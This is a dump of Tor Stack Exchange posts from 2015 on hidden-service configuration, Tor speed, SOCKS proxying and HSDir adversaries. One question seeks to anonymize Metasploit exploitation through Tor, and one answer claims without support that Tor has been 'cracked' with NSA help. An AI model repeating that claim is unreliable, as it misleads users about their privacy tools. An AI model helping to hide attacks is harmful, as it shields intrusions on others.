  <row Id="8997" PostTypeId="2" ParentId="8995" CreationDate="2015-11-10T18:29:15.527" Score="1" Body="&lt;p&gt;You can not listen on the same port multiple times.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2 possibilities:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want your HSs to listen on different ports, then you should change your &lt;code&gt;HiddenServicePort&lt;/code&gt; directives so they use different port numbers. (Like Richard Horrocks suggests in his comment.)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want them all on the same port, then you should have only one &lt;code&gt;HiddenServicePort&lt;/code&gt; directive, and configure your web server to use virtual servers so that it hits the document root based on the server name in the request.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-10T18:29:15.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8999" PostTypeId="2" ParentId="8989" CreationDate="2015-11-10T22:01:13.553" Score="2" Body="&lt;p&gt;The article you're referencing is 5 years old. While the Tor network is still fairly slow, I believe it's come a long way since then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do we define &quot;slow&quot;?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either by quantifying the speed, or by reference to something most people are more familiar with. Jobiwan's answer does the latter, using a comparison to an HTTPS connection. Qualifiers like &quot;very&quot; or &quot;really&quot; are relative and subjective, so for the article to say it's &quot;veeeeery&quot; slow doesn't help unless you know the baseline from which the author is commenting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's numbers you want, have a look at the &lt;a href=&quot;https://metrics.torproject.org/performance.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Metrics pages&lt;/a&gt;. This gives an ongoing, historical record of download times for files of different test sizes. It should provide some idea of network latency. That said, there are no &quot;Tor vs. the clearweb&quot; comparison charts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For details on &lt;em&gt;why&lt;/em&gt; Tor is &quot;slow&quot; (yes, bouncing traffic around different relays), have a look at &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#WhySlow&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; entry in the Tor FAQ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any way to change the delay?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably not without fiddling about with the source code to change the number of hops your traffic goes through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're happy to do that, and if you're unconcerned with the anonymity afforded by Tor - which seems to be the case, given the use-case in the article - then take a look at the following discussion: &lt;a href=&quot;https://tor.stackexchange.com/questions/217/how-can-one-make-tor-faster-when-willing-to-to-sacrifice-anonymity&quot;&gt;How can one make Tor faster, when willing to to sacrifice anonymity?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(It's possible some of the suggestions in there would help, though from the comments there seems to be some debate.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you're unconcerned about being anonymous, perhaps a VPN or standard proxy would be a solution worth considering.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-11-10T22:01:13.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9000" PostTypeId="2" ParentId="8989" CreationDate="2015-11-10T23:46:43.060" Score="0" Body="&lt;p&gt;I use SSH over Tor on a regular basis and torify the connection or use a hidden service to connect to. Usually the connection &quot;feels&quot; quick, but I never made measurements and thus can't provide a number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However SSH over Tor and plain SSH feel equally fast. I'd say in 1 out of 20 cases the SSH-over-Tor-connection is considerably slower. In those cases some server in a circuit is probably slow. It helps to wait and reconnect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't really control the delay. This depends on what circuit Tor builds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In very few cases the connection is interrupted. This often happens when the connection over Tor feels slow. It is a good idea to use GNU screen or tmux.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="14085" LastEditDate="2016-08-31T00:50:00.920" LastActivityDate="2016-08-31T00:50:00.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9001" PostTypeId="2" ParentId="7043" CreationDate="2015-11-11T09:17:49.127" Score="1" Body="&lt;p&gt;Tor over Tor results in &quot;undefined behavior,&quot; it sounds like a good idea, but may break in unexpected ways, like wearing 2 condoms. You should launch your Tor Browser with &lt;code&gt;TOR_SKIP_LAUNCH=1&lt;/code&gt; and ideally either change the network proxy settings to an open socks ports on your hardware Tor router (i.e. change the socks address from &lt;code&gt;127.0.0.1:9051&lt;/code&gt; to &lt;code&gt;192.168.0.1:9050&lt;/code&gt;, for example) or better yet just use an iptables NAT redirect rule on your client machine to forward connections to &lt;code&gt;127.0.0.1:9051&lt;/code&gt; to your Tor router's socks port, so you don't have to mess with any settings/redo them after every update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes your Tor router is configured to provide a SOCKSport and not just a TRANSport. If it doesn't, or you can't figure out how to connect to it, using &lt;code&gt;TOR_SKIP_LAUNCH=1&lt;/code&gt; and setting the transparent proxy option in Tor Button in the browser will work, but you just won't get the full stream isolation you would if you used a socksport and would be more vulnerable to correlation attacks as everything in the TRANSport gets pushed through the same circuit.&lt;/p&gt;&#xA;" OwnerUserId="9872" LastEditorUserId="71" LastEditDate="2015-11-14T12:49:11.917" LastActivityDate="2015-11-14T12:49:11.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9003" PostTypeId="1" CreationDate="2015-11-11T13:30:56.683" Score="0" ViewCount="64" Body="&lt;p&gt;Tor Project:FAQ claims the Tor network &quot;will only know the destination&quot;. I don't understand this. At layer 3, the IP Src, and IP Dst are always shown in the IP Header. So why couldn't one of the Tor relays work out the source of the traffic? &#xA;Does each relay NAT the traffic or something?&lt;/p&gt;&#xA;" OwnerUserId="9874" LastEditorUserId="9874" LastEditDate="2015-11-11T13:36:49.067" LastActivityDate="2015-12-12T20:09:56.930" Title="Tor Networking Anonimity" Tags="|deanonymization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9004" PostTypeId="1" CreationDate="2015-11-11T14:13:10.783" Score="2" ViewCount="1399" Body="&lt;p&gt;I want to ask you how I can allow socks request for anonymous connections. I'm using it with metasploit and socat but its always reject connection. So every time I want to exploit an OS with metasploit and socat, it doesnt work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see it in the picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&lt;img src=&quot;https://i.stack.imgur.com/8Q0Zi.png&quot; alt=&quot;1]&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm applying what this link says &lt;a href=&quot;http://securityblog.gr/1246/anonymity-first-tor-metasploit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://securityblog.gr/1246/anonymity-first-tor-metasploit/&lt;/a&gt;&#xA;but I always run into the problem with Tor that it rejects the connection.&lt;/p&gt;&#xA;" OwnerUserId="9875" LastEditorUserId="350" LastEditDate="2015-11-11T16:54:28.070" LastActivityDate="2015-12-11T17:38:24.890" Title="Allowing socks request for anonymous connections to a private address?" Tags="|protocol|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9005" PostTypeId="1" CreationDate="2015-11-11T16:52:15.157" Score="1" ViewCount="18643" Body="&lt;p&gt;Is it safe to disable the default blocking? Why was it added/turned on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having to click 'temporary allow' and sit through a page reload every time I want to watch a video or load one when scrolling on my Twitter feed is a bit annoying, but I'll understand if it's for a good reason&lt;/p&gt;&#xA;" OwnerUserId="9729" LastActivityDate="2015-11-11T16:52:15.157" Title="Why is video/mp4 and video/webm blocked by noscript in TBB?" Tags="|tor-browser-bundle|security|noscript|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9006" PostTypeId="2" ParentId="9004" CreationDate="2015-11-11T17:07:11.630" Score="3" Body="&lt;p&gt;You can not connect through Tor to a computer inside your own network.&lt;br&gt;&#xA;You can only connect to hidden services or to hosts that can be reached from exit nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not because it it not &lt;em&gt;allowed&lt;/em&gt;, but because your Tor client just can't build a circuit that ends inside your own network. It rejects the request because it knows that it can't, so it won't even try. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-11T17:07:11.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9008" PostTypeId="1" CreationDate="2015-11-12T08:21:13.427" Score="1" ViewCount="10736" Body="&lt;p&gt;In torrc, I have come across both these lines:&lt;br&gt;&#xA;&lt;code&gt;HiddenServicePort 80 127.0.0.1:80&lt;/code&gt;&lt;br&gt;&#xA;vs&lt;br&gt;&#xA;&lt;code&gt;HiddenServicePort 80 127.0.0.1:8080&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain what their differences are?&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="350" LastEditDate="2015-11-29T22:43:48.267" LastActivityDate="2016-03-29T03:18:11.260" Title="What's the difference between 80 and 8080 in torrc?" Tags="|configuration|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9009" PostTypeId="2" ParentId="9008" CreationDate="2015-11-12T08:31:56.467" Score="0" Body="&lt;p&gt;The first number is the port on which the HS accepts connections.&lt;br&gt;&#xA;The address+port is the actual (web?) server that the HS connects to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your second example:&lt;br&gt;&#xA;&lt;code&gt;HiddenServicePort 80 127.0.0.1:8080&lt;/code&gt;&#xA;The web server listens to port 8080, but the HS accepts connections to port #80. (Which is the default for http, so clients don't have to specify a port number.)&lt;br&gt;&#xA;In this case, Tor and the web server live on the same host, so Tor connects to 127.0.0.1 (localhost) but if they don't live on the same host, then the &lt;code&gt;HiddenServicePort&lt;/code&gt; directive should have the address (and port) of the web server.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-12T08:31:56.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9013" PostTypeId="2" ParentId="9003" CreationDate="2015-11-12T19:11:30.483" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does each relay NAT the traffic or something?  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Something like that. Instead of NAT sessions, you have circuits.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your client to the guard, from the guard to the next node, etc.. are all individual connections. So the source IP of the connection to each node is that of the previous node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see this question: &lt;a href=&quot;https://tor.stackexchange.com/questions/8700/how-does-tor-hide-ip-address-if-ip-is-essential-for-routing&quot;&gt;How does Tor hide IP address if IP is essential for routing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2015-11-12T19:11:30.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9014" PostTypeId="1" AcceptedAnswerId="17254" CreationDate="2015-11-12T19:34:16.950" Score="5" ViewCount="851" Body="&lt;p&gt;Both local storage and the built in cookie viewer don't show anything. Reading &lt;code&gt;document.cookie&lt;/code&gt; from the console only shows some of them (missing cookies with &lt;code&gt;HttpOnly&lt;/code&gt; set). Is there a way to read all of current site's cookies in Tor?&lt;/p&gt;&#xA;" OwnerUserId="9888" LastEditorUserId="9888" LastEditDate="2015-11-13T08:00:58.930" LastActivityDate="2018-06-06T11:18:37.463" Title="Is there a way to read Tor bundle's session cookies?" Tags="|cookies|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9016" PostTypeId="1" CreationDate="2015-11-13T04:57:09.553" Score="1" ViewCount="16" Body="&lt;p&gt;Is it possible to make the Tor-Launcher for Chrome?If it is possible，how I should do?&lt;/p&gt;&#xA;" OwnerUserId="9827" LastActivityDate="2015-11-13T04:57:09.553" Title="How to make the Tor-Launcher extension for Chrome?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="1" ClosedDate="2015-11-13T20:51:03.180" ContentLicense="CC BY-SA 3.0" />
  <row Id="9017" PostTypeId="1" AcceptedAnswerId="9022" CreationDate="2015-11-13T06:57:05.540" Score="2" ViewCount="666" Body="&lt;p&gt;I am using Ubuntu. Downloaded the latest version of Tor from &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. But when I execute &lt;code&gt;./start-tor-browser&lt;/code&gt; from terminal it starts in firefox. How can I enable it in Chrome?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also how can I launch Tor without using terminal? &lt;/p&gt;&#xA;" OwnerDisplayName="user9895" LastEditorUserId="350" LastEditDate="2015-11-20T18:35:04.667" LastActivityDate="2015-11-20T18:35:04.667" Title="How can I enable Tor on Chrome" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9019" PostTypeId="1" CreationDate="2015-11-13T17:37:30.953" Score="1" ViewCount="39" Body="&lt;p&gt;Same problem as here: &lt;a href=&quot;https://tor.stackexchange.com/questions/6646/why-do-i-get-access-denied-at-certain-web-sites-when-i-didnt-last-year&quot;&gt;why do I get &amp;quot;Access Denied&amp;quot; at certain web sites when I didn&amp;#39;t last year?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But: unfortunately the answer didn't help. The access to some sites is constantly denied even with using Vidalia to switch to a different identity and turning off NoScript 2.6.9.36.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using 5.0.3 on Tails 1.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The subpages on one of the websites are accessible, well, at least they have been from time to time. So the website itself apparently does not block Tor nodes.&lt;/p&gt;&#xA;" OwnerUserId="9903" LastEditorUserId="9913" LastEditDate="2015-11-24T15:44:38.097" LastActivityDate="2015-11-24T15:44:38.097" Title="Access to some websites constantly denied" Tags="|blocked-services|" AnswerCount="0" CommentCount="2" ClosedDate="2015-11-17T14:41:34.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="9021" PostTypeId="2" ParentId="6646" CreationDate="2015-11-13T18:08:02.383" Score="1" Body="&lt;p&gt;Some web sites block all Tor exit nodes. Some even block all Tor relays, also non-exits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to access those sites is to connect from a different IP. Not from a Tor node.&lt;br&gt;&#xA;You can use a proxy/VPN. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-11-13T18:08:02.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9022" PostTypeId="2" ParentId="9017" CreationDate="2015-11-13T21:16:55.793" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I am using Ubuntu. Downloaded the latest version of tor from here. But&#xA;  when I execute ./start-tor-browser from terminal it starts in firefox.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you run the &lt;code&gt;start-tor-browser&lt;/code&gt; script, you're starting the Tor Browser application. The Tor Browser is modified version of Firefox, which has been changed to make it safe from the perspective of anonymity. It's &lt;em&gt;not&lt;/em&gt; the Firefox application you might have already had on your computer. (i.e. You're not starting &quot;Tor&quot; as a service inside your good old Firefox that you installed x years ago.)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I enable it in chrome?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you're using Tor because you want to surf the Internet anonymously, you can't really use Chrome. Have a read of &lt;a href=&quot;https://tor.stackexchange.com/questions/52/how-can-i-use-chrome-through-tor-on-os-x/55#55&quot;&gt;this&lt;/a&gt; thread to understand why not.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also how can I launch tor without using terminal?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In Tor's &lt;code&gt;Browser&lt;/code&gt; folder there's a &lt;code&gt;.desktop&lt;/code&gt; file. Using the terminal, copy it as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cp tor-browser_en-US/Browser/start-tor-browser.desktop ~/.local/share/applications/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should now be able to find a Tor Browser icon in Ubuntu's menu bar. (Search &quot;Tor&quot; and it should appear.)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-11-13T21:16:55.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9023" PostTypeId="1" CreationDate="2015-11-14T10:48:21.057" Score="2" ViewCount="1807" Body="&lt;p&gt;I tried  &lt;a href=&quot;https://tor.stackexchange.com/questions/2006/how-to-run-multiple-tor-browsers-with-different-ips/6954#6954&quot;&gt;this&lt;/a&gt;  I successfully made a  copy of  the tor  folder  working  with different IPs on both tors,  but  what do I do for  the  third copy of the  tor  folder?  What  control port and  stock port should  I put on the third browser?&lt;br&gt;&#xA;I need  multiple  IPs.&#xA;I made  one copy  working ( 1. the  default  tor  and  2. the  copy  folder ) &#xA;I need to make  10-15  working copies with different IPs.&lt;/p&gt;&#xA;" OwnerUserId="9910" LastEditorUserId="14997" LastEditDate="2019-04-23T22:01:00.400" LastActivityDate="2019-04-23T22:01:00.400" Title="How to run multiple Tor browsers simultaneously on Windows?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9024" PostTypeId="2" ParentId="100" CreationDate="2015-11-14T14:18:48.703" Score="4" Body="&lt;p&gt;&lt;strong&gt;Applications that support SOCKS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned by @zhenech any application that supports SOCKS can be used with Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are few examples that show your IP changing via an &lt;a href=&quot;https://superuser.com/questions/420969/services-that-just-return-your-public-ip-as-text&quot;&gt;IP identifying website&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;curl:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl http://checkip.amazonaws.com/&#xA;curl --socks5 127.0.0.1:9050 http://checkip.amazonaws.com/&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/6742/debian-based-torsocks-chromium-browser-dns-leakage&quot;&gt;chromium&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chromium-browser --proxy-server='socks5://127.0.0.1:9050'&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;casperjs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install phantomjs&#xA;casperjs --ssl-protocol=any --proxy=127.0.0.1:9050 --proxy-type=socks5 main.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with &lt;code&gt;main.js&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var casper = require('casper').create();&#xA;casper.start('http://checkip.amazonaws.com/', function() {&#xA;    this.echo(this.getHTML());&#xA;});&#xA;casper.run();&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;torsocks&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wget&lt;/code&gt; does not support SOCKS: &lt;a href=&quot;https://superuser.com/questions/262956/how-to-invoke-a-command-using-specific-proxy-server&quot;&gt;https://superuser.com/questions/262956/how-to-invoke-a-command-using-specific-proxy-server&lt;/a&gt; but we can use torsocks to wrap it (mentioned by &lt;a href=&quot;https://tor.stackexchange.com/questions/100/can-tor-be-used-with-applications-other-than-web-browsers/9024?noredirect=1#comment8839_9024&quot;&gt;jamescampbell&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install torsocks&#xA;         wget -q -O- http://checkip.amazonaws.com/&#xA;torsocks wget -q -O- http://checkip.amazonaws.com/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://superuser.com/questions/404732/how-to-use-wget-with-tor-bundle-in-linux&quot;&gt;https://superuser.com/questions/404732/how-to-use-wget-with-tor-bundle-in-linux&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested on Ubuntu 15.10 with NVM &lt;code&gt;casperjs&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems however that some applications do not support &lt;code&gt;torsocks&lt;/code&gt; for reasons which I do not understand. E.g. Chromium: &lt;a href=&quot;https://tor.stackexchange.com/questions/6742/debian-based-torsocks-chromium-browser-dns-leakage&quot;&gt;Debian-based: torsocks + Chromium-browser = DNS Leakage?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7651" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-11-17T12:09:13.577" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9025" PostTypeId="1" CreationDate="2015-11-14T18:05:40.730" Score="2" ViewCount="1977" Body="&lt;p&gt;I'm looking at using the Tor browser bundle, and the instructions have one run the bundle as a normal user (in my case, on Debian Jessie).  This would seem to expose the Tor files to tampering in a way that is not the case with iceweasel.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q1:  are my concerns misplaced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to run Tor inside of /opt with a softlink to /usr/local/bin/start-tor-browser, but unless I assign &quot;my user:my user&quot; to the entire &quot;/opt/torfolder&quot; I get a permission error.  There is code to stop Tor running as root which I'd prefer not to comment out, but regardless I don't think that is the main problem at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: is there a &quot;best practice&quot; for running Tor as a normal user, but for protecting the Tor files from user tampering with permissions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q: What are the benefits/downsides of using visudo?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9912" OwnerDisplayName="Senrabdet" LastEditorUserId="201" LastEditDate="2015-11-14T22:51:03.053" LastActivityDate="2019-11-03T00:50:55.267" Title="Running Tor in /opt" Tags="|tor-browser-bundle|debian|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9027" PostTypeId="1" CreationDate="2015-11-15T14:58:43.253" Score="3" ViewCount="555" Body="&lt;p&gt;I am trying to understand what are possibilities of adversary running his own HSDir and few relays? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Adversary cannot retrieve all the .onion addresses? Only the ones advertised on his HSDir? Are HSDirs that are advertising specific .onion addresses rotating over some time?&lt;/li&gt;&#xA;&lt;li&gt;Adversary can see how many connection attempts were made to specific .onion address?&lt;/li&gt;&#xA;&lt;li&gt;If adversary controls entry node(guard relay) and HSDir on the client side. He is able to retrieve the users IP by traffic correlation attack?&lt;/li&gt;&#xA;&lt;li&gt;If adversary controls entry node and HSDIR on hidden service side he can deanonymize location of hidden service?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Reffering to &lt;a href=&quot;https://conference.hitb.org/hitbsecconf2015ams/wp-content/uploads/2015/02/D2T2-Filippo-Valsorda-and-George-Tankersly-Non-Hidden-Hidden-Services-Considered-Harmful.pdf&quot; rel=&quot;nofollow&quot;&gt;https://conference.hitb.org/hitbsecconf2015ams/wp-content/uploads/2015/02/D2T2-Filippo-Valsorda-and-George-Tankersly-Non-Hidden-Hidden-Services-Considered-Harmful.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Slide 49 says:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;You can trust an HSDir you run yourself.&quot; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;Free detection: you will notice if someone &#xA;competes with you for the HSDir positions&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These two quotes got me confused... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a countermeasure client and person running hidden service can set their entry nodes or bridges also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EntryNodes node,node,…&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adversary is than only in possibility (using positioning attack mentioned in slides) to see number of connection attempts but cannot deanonymize users or person running hidden-service.&lt;/p&gt;&#xA;" OwnerUserId="9915" LastEditorUserId="9915" LastEditDate="2015-11-17T10:31:26.763" LastActivityDate="2016-01-16T13:12:48.067" Title="Can you set hidden service to use specific HSdir?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9028" PostTypeId="2" ParentId="9027" CreationDate="2015-11-15T17:55:17.830" Score="1" Body="&lt;p&gt;I don't think it's possible to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your hidden service is advertised on 6 different HSDir nodes. The HSDir nodes to use are calculated from your hidden service's .onion address. The same calculation can then be used by a client who wants to visit the hidden service. This is the &quot;rendezvous&quot; protocol. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You couldn't configure your hidden service to use just any old HSDir because clients wouldn't be able to find it. The rendezvous wouldn't work. The most you could do would be to pick a subset (or one) of the 6 nodes it should be using, but I don't believe that's possible. (Have a look at the Hidden Service Options part of the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Manual&lt;/a&gt; for what &lt;em&gt;can&lt;/em&gt; be configured.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a read of this thread for more details of how the rendezvous works: &lt;a href=&quot;https://tor.stackexchange.com/questions/6647/how-does-tor-know-which-hsdir-to-connect-to&quot;&gt;How does Tor know which HSDir to connect to?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-11-15T17:55:17.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9029" PostTypeId="1" AcceptedAnswerId="9032" CreationDate="2015-11-16T11:48:51.117" Score="2" ViewCount="1126" Body="&lt;p&gt;I recently changed my &lt;code&gt;torrc&lt;/code&gt; file. How do I validate whether I did it right? As in, is there any way to test whether &lt;code&gt;torrc&lt;/code&gt; configurations work as intended?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd hoped TorCheck would provide such functionality eventually, but I can understand it's a security risk to be able to read &lt;code&gt;torrc&lt;/code&gt; from the Tor browser itself.&lt;/p&gt;&#xA;" OwnerUserId="7655" LastActivityDate="2015-11-16T21:58:27.170" Title="Validate torrc file" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9030" PostTypeId="1" CreationDate="2015-11-16T13:35:52.553" Score="1" ViewCount="707" Body="&lt;p&gt;It is known that VPN connection forces all internet traffic to pass through it, but in case of Tor, user must configure internet apps to pass through the proxy built by Tor. Some internet apps can not be set to use proxies.&#xA;So, the question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to force all internet traffic to pass through TOR proxy in kali-Linux operating system.Note that I am a newbie to Tor and Kali.&lt;/p&gt;&#xA;" OwnerUserId="9922" LastActivityDate="2015-12-18T01:56:55.880" Title="Forcing all PC internet traffic to pass through Tor on kali-Linux" Tags="|help|linux|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2019-06-07T21:26:34.757" ContentLicense="CC BY-SA 3.0" />
  <row Id="9031" PostTypeId="2" ParentId="8966" CreationDate="2015-11-16T14:41:05.417" Score="0" Body="&lt;p&gt;Tor will get you on a &quot;list&quot;. If you connect to a Tor node and that's it, your ISP knows you are using Tor. They won't know your traffic but they will know that you're on Tor. I personally would get a VPN based in the Netherlands or somewhere they don't have to keep logs.&#xA;&lt;a href=&quot;http://www.cnet.com/news/nsa-likely-targets-anybody-whos-tor-curious/&quot; rel=&quot;nofollow&quot;&gt;http://www.cnet.com/news/nsa-likely-targets-anybody-whos-tor-curious/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, a group of hackers worked with the NSA to &quot;crack&quot; TOR. Its compromised and thats one reason why I don't use it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like the person above me said.. VPN's have a single point of failure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My answer is VPN to Tor. Your speeds will be horrid, but you'll be anonymous. &lt;/p&gt;&#xA;" OwnerUserId="9923" LastEditorUserId="350" LastEditDate="2015-11-16T18:03:30.133" LastActivityDate="2015-11-16T18:03:30.133" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
